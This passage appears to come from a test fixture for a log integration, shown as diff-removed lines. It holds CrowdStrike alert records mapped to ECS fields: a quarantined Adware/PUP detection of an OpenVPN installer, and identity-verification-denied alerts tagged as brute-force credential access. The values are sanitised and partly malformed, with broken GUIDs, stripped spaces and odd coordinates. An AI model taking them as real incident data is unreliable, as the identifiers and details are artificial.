XYZ\",\"overwatch_note_timestamp\":\"2025-03-01T15:31:00Z\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"rule_group_id\":\"1b27b7f123c44e15a13fe7f44801d123\",\"rule_group_name\":\"Windows Group\",\"rule_instance_created_by\":\"myuser@mydomain.com\",\"rule_instance_id\":\"123\",\"rule_instance_name\":\"INSTANCE-1\",\"rule_instance_version\":\"1\",\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - { - "@timestamp": "2024-08-19T18:44:01.100Z", - "cloud": { - "account": { - "id": "65ddx-c454-45f9-9034-Fdf34353" - } - }, - "crowdstrike": { - "alert": { - "active_directory_authentication_method": 5, - "activity": { - "browser": "Edge 126.0.0", - "device": "LAPTOP-AP7299QV", - "id": "2A8A7C96-0F17-412C-8105-94542784E00D", - "os": "Windows" - }, - "agent_id": "38293534662e48c99f33c61631b3536d", - "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "alert_attributes": 0, - "cid": "4446934rf3fdb64ec3056ddfb96e", - "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "confidence": 80, - "context_timestamp": "2024-08-16T18:43:44.242Z", - "crawled_timestamp": "2024-08-16T18:49:02.798Z", - "created_timestamp": "2024-08-16T18:45:02.987Z", - "data_domains": [ - "Identity" - ], - "description": "A user denied a policy identity verification request", - "display_name": "Identity verification denied", - "end_time": "2024-08-16T18:43:44.242Z", - "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "idp_policy": { - "mfa_factor_type": 32769, - "mfa_provider": 14, - "rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", - "rule_name": "admin - RDP Access to TIER-0 Servers" - }, - "ldap_search_query_attack": 16, - "location_country_code": "US", - "location_latitude_as_int": 340726, - "location_longitude_as_int": -1182610, - "model_anomaly_indicators": [ - "ACCOUNT_IMPOSSIBLE_VELOCITY", - "ENVIRONMENT_UNUSUAL_IP", - "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", - "ISP_DATACENTER_CLASSIFICATION" - ], - "name": "IdpPolicyIdentityVerificationDenied", - "objective": "Gain Access", - "pattern_id": "51143", - "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", - "product": "idp", - "protocol_anomaly_classification": 1, - "scenario": "suspicious_activity", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "severity": 79, - "severity_name": "High", - "show_in_ui": true, - "source": { - "account_azure_id": "65ddx-c454-45f9-9034-Fdf34353", - "account_domain": "NET.example.com", - "account_name": "admin.example", - "account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79", - "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733", - "account_sam_account_name": "admin.abcdef", - "account_upn": "admin.abcdef@example.com", - "endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0", - "endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158", - "endpoint_address_ip4": "81.2.69.144", - "endpoint_host_name": "ABDC454.net.example.com", - "endpoint_ip_address": "81.2.69.144", - "endpoint_ip_reputation": 128, - "endpoint_sensor_id": "38293534662e48c99f33c61631b3536d", - "ip_isp_classification": 9, - "ip_isp_domain": "sioru.com" - }, - "source_products": [ - "Falcon Identity Protection" - ], - "source_vendors": [ - "CrowdStrike" - ], - "start_time": "2024-08-19T18:43:44.242Z", - "status": "new", - "tactic": "Credential Access", - "tactic_id": "TA0006", - "tags": [ - "falcon_complete" - ], - "target": { - "account_name": "HFJFJFFFFFFF$", - "domain_controller_host_name": "APINTAL19DC01", - "domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2", - "domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512", - "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E", - "endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236", - "endpoint_host_name": "GH787.net.example.com", - "endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7", - "service_access_identifier": "HOST/admin.example.com" - }, - "technique": "Brute Force", - "technique_id": "T1110", - "timestamp": "2024-08-19T18:44:01.100Z", - "type": "idp-user-endpoint-app-info", - "updated_timestamp": "2024-08-19T18:49:02.798Z", - "user_name": "admin.abcdef" - } - }, - "destination": { - "domain": "GH787.net.example.com", - "user": { - "domain": "APINTAL19DC01", - "name": "HFJFJFFFFFFF$" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "end": "2024-08-16T18:43:44.242Z", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "kind": "alert", - "original": "{\"agent_id\":\"38293534662e48c99f33c61631b3536d\",\"aggregate_id\":\"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"composite_id\":\"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"confidence\":80,\"context_timestamp\":\"2024-08-16T18:43:44.242Z\",\"crawled_timestamp\":\"2024-08-16T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-16T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"A user denied a policy identity verification request\",\"display_name\":\"Identity verification denied\",\"end_time\":\"2024-08-16T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"idp_policy_mfa_factor_type\":\"32769\",\"idp_policy_mfa_provider\":\"14\",\"idp_policy_rule_id\":\"1B82F2DE-2A08-49E0-8F85-AD46996F9A65\",\"idp_policy_rule_name\":\"admin - RDP Access to TIER-0 Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"Gain Access\",\"pattern_id\":51143,\"poly_id\":\"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"High\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-45f9-9034-Fdf34353\",\"source_account_domain\":\"NET.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1567733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"E436B3F0-078C-4629-9437-D3E3169147C0\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293534662e48c99f33c61631b3536d\",\"source_products\":[\"Falcon Identity Protection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"Credential Access\",\"tactic_id\":\"TA0006\",\"technique\":\"Brute Force\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E\",\"target_endpoint_account_object_sid\":\"S-1-5-21-746137067-1844237615-1801674531-298236\",\"target_endpoint_host_name\":\"GH787.net.example.com\",\"target_endpoint_sensor_id\":\"ac89a368e77a4fa5837b53c7f11fc9e7\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge 126.0.0\",\"activity_device\":\"LAPTOP-AP7299QV\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"5\",\"activity_id\":\"2A8A7C96-0F17-412C-8105-94542784E00D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":340726,\"location_longitude_as_int\":-1182610,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"9F2CE16C-4A78-42E6-8565-87147707EE79\",\"source_endpoint_account_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-101158\",\"source_endpoint_ip_reputation\":\"128\",\"source_ip_isp_classification\":\"9\",\"source_ip_isp_domain\":\"sioru.com\",\"target_domain_controller_host_name\":\"APINTAL19DC01\",\"target_domain_controller_object_guid\":\"45A24DB7-6CD3-48C5-974F-A97159E7E2B2\",\"target_domain_controller_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-85512\",\"target_service_access_identifier\":\"HOST/admin.example.com\"}", - "severity": 73, - "start": "2024-08-19T18:43:44.242Z" - }, - "host": { - "id": "38293534662e48c99f33c61631b3536d" - }, - "message": "A user denied a policy identity verification request", - "observer": { - "geo": { - "country_iso_code": "US", - "location": { - "lat": 340726, - "lon": -1182610 - } - } - }, - "related": { - "hosts": [ - "NET.example.com", - "ABDC454.net.example.com", - "GH787.net.example.com", - "APINTAL19DC01" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "admin.example", - "admin.abcdef@example.com", - "HFJFJFFFFFFF$", - "admin.abcdef" - ] - }, - "rule": { - "id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65", - "name": "admin - RDP Access to TIER-0 Servers" - }, - "source": { - "domain": "ABDC454.net.example.com", - "ip": "81.2.69.144", - "user": { - "domain": "NET.example.com", - "name": "admin.example" - } - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "falcon_complete" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0006" - ], - "name": [ - "Credential Access" - ] - }, - "technique": { - "id": [ - "T1110" - ], - "name": [ - "Brute Force" - ] - } - }, - "user": { - "name": "admin.abcdef" - } - }, - { - "@timestamp": "2024-08-19T18:44:01.100Z", - "cloud": { - "account": { - "id": "65ddx-c454-324d-9034-Fdf34353" - } - }, - "crowdstrike": { - "alert": { - "active_directory_authentication_method": 4, - "activity": { - "browser": "Edge126.0.0", - "device": "LAPTOP-ADFVEJM234V", - "id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D", - "os": "Windows" - }, - "agent_id": "58293534772e48c99f33c61631b3536d", - "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9", - "alert_attributes": 0, - "cid": "4446934rf3fdb64ec3056ddfb96e", - "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9", - "context_timestamp": "2024-08-19T18:43:44.242Z", - "crawled_timestamp": "2024-08-19T18:49:02.798Z", - "created_timestamp": "2024-08-19T18:45:02.987Z", - "data_domains": [ - "Identity" - ], - "description": "Auserdeniedapolicyidentityverificationrequest", - "display_name": "Identityverificationdenied", - "end_time": "2024-08-19T18:43:44.242Z", - "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", - "idp_policy": { - "mfa_factor_type": 42669, - "mfa_provider": 11, - "rule_id": "123324-343-4dfa9E0-8F85-dfaa3242", - "rule_name": "admin-RDPAccesstoTIER-0Servers" - }, - "ldap_search_query_attack": 16, - "location_country_code": "US", - "location_latitude_as_int": 320316, - "location_longitude_as_int": -12729080, - "model_anomaly_indicators": [ - "ACCOUNT_IMPOSSIBLE_VELOCITY", - "ENVIRONMENT_UNUSUAL_IP", - "ENVIRONMENT_UNUSUAL_ISP_DOMAIN", - "ISP_DATACENTER_CLASSIFICATION" - ], - "name": "IdpPolicyIdentityVerificationDenied", - "objective": "GainAccess", - "pattern_id": "45897", - "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==", - "product": "idp", - "protocol_anomaly_classification": 1, - "scenario": "suspicious_activity", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "severity": 79, - "severity_name": "Medium", - "show_in_ui": true, - "source": { - "account_azure_id": "65ddx-c454-324d-9034-Fdf34353", - "account_domain": "BCD.example.com", - "account_name": "admin.example", - "account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324", - "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733", - "account_sam_account_name": "admin.abcdef", - "account_upn": "admin.abcdef@example.com", - "endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ", - "endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999", - "endpoint_address_ip4": "81.2.69.144", - "endpoint_host_name": "ABDC454.net.example.com", - "endpoint_ip_address": "81.2.69.144", - "endpoint_ip_reputation": 118, - "endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e", - "ip_isp_classification": 8, - "ip_isp_domain": "abc.com" - }, - "source_products": [ - "FalconIdentityProtection" - ], - "source_vendors": [ - "CrowdStrike" - ], - "start_time": "2024-08-19T18:43:44.242Z", - "status": "new", - "tactic": "CredentialAccess", - "tactic_id": "TA0006", - "tags": [ - "falcon_complete" - ], - "target": { - "account_name": "HFJFJFFFFFFF$", - "domain_controller_host_name": "GHPOTAL12578", - "domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1", - "domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511", - "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536", - "endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236", - "endpoint_host_name": "GH787.abc.example.com", - "endpoint_sensor_id": "afdsasf3423432nndv3432v", - "service_access_identifier": "HOST/root.demo.com" - }, - "technique": "BruteForce", - "technique_id": "T1110", - "timestamp": "2024-08-19T18:44:01.100Z", - "type": "idp-user-endpoint-app-info", - "updated_timestamp": "2024-08-19T18:49:02.798Z", - "user_name": "admin.abcdef" - } - }, - "destination": { - "domain": "GH787.abc.example.com", - "user": { - "domain": "GHPOTAL12578", - "name": "HFJFJFFFFFFF$" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "end": "2024-08-19T18:43:44.242Z", - "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429", - "kind": "alert", - "original": "{\"aggregate_id\":\"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9\",\"agent_id\":\"58293534772e48c99f33c61631b3536d\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"context_timestamp\":\"2024-08-19T18:43:44.242Z\",\"composite_id\":\"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"crawled_timestamp\":\"2024-08-19T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-19T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"Auserdeniedapolicyidentityverificationrequest\",\"display_name\":\"Identityverificationdenied\",\"end_time\":\"2024-08-19T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429\",\"idp_policy_mfa_factor_type\":\"42669\",\"idp_policy_mfa_provider\":\"11\",\"idp_policy_rule_id\":\"123324-343-4dfa9E0-8F85-dfaa3242\",\"idp_policy_rule_name\":\"admin-RDPAccesstoTIER-0Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"GainAccess\",\"pattern_id\":45897,\"poly_id\":\"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-324d-9034-Fdf34353\",\"source_account_domain\":\"BCD.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1117733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"FDHJJ343-098C-4629-9437-DD3424GHJ\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293523261gh48c99ffd234c6190123536e\",\"source_products\":[\"FalconIdentityProtection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"CredentialAccess\",\"tactic_id\":\"TA0006\",\"technique\":\"BruteForce\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536\",\"target_endpoint_account_object_sid\":\"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236\",\"target_endpoint_host_name\":\"GH787.abc.example.com\",\"target_endpoint_sensor_id\":\"afdsasf3423432nndv3432v\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge126.0.0\",\"activity_device\":\"LAPTOP-ADFVEJM234V\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"4\",\"activity_id\":\"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":320316,\"location_longitude_as_int\":-12729080,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"78HF9842-HGG5-324F-9565-GJD47324\",\"source_endpoint_account_object_sid\":\"S-1-4-21-111111111-2222222-14171121333-1045999\",\"source_endpoint_ip_reputation\":\"118\",\"source_ip_isp_classification\":\"8\",\"source_ip_isp_domain\":\"abc.com\",\"target_domain_controller_host_name\":\"GHPOTAL12578\",\"target_domain_controller_object_guid\":\"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1\",\"target_domain_controller_object_sid\":\"S-2-8-21-333333-2222222-3431-95511\",\"target_service_access_identifier\":\"HOST/root.demo.com\"}", - "severity": 47, - "start": "2024-08-19T18:43:44.242Z" - }, - "host": { - "id": "58293534772e48c99f33c61631b3536d" - }, - "message": "Auserdeniedapolicyidentityverificationrequest", - "observer": { - "geo": { - "country_iso_code": "US", - "location": { - "lat": 320316, - "lon": -12729080 - } - } - }, - "related": { - "hosts": [ - "BCD.example.com", - "ABDC454.net.example.com", - "GH787.abc.example.com", - "GHPOTAL12578" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "admin.example", - "admin.abcdef@example.com", - "HFJFJFFFFFFF$", - "admin.abcdef" - ] - }, - "rule": { - "id": "123324-343-4dfa9E0-8F85-dfaa3242", - "name": "admin-RDPAccesstoTIER-0Servers" - }, - "source": { - "domain": "ABDC454.net.example.com", - "ip": "81.2.69.144", - "user": { - "domain": "BCD.example.com", - "name": "admin.example" - } - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "falcon_complete" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "TA0006" - ], - "name": [ - "CredentialAccess" - ] - }, - "technique": { - "id": [ - "T1110" - ], - "name": [ - "BruteForce" - ] - } - }, - "user": { - "name": "admin.abcdef" - } - }, - { - "@timestamp": "2023-11-03T18:00:22.328Z", - "crowdstrike": { - "alert": { - "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", - "alleged_filetype": "exe", - "cid": "92012896127c4a948236ba7601b886b0", - "cloud_indicator": false, - "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", - "composite_id": 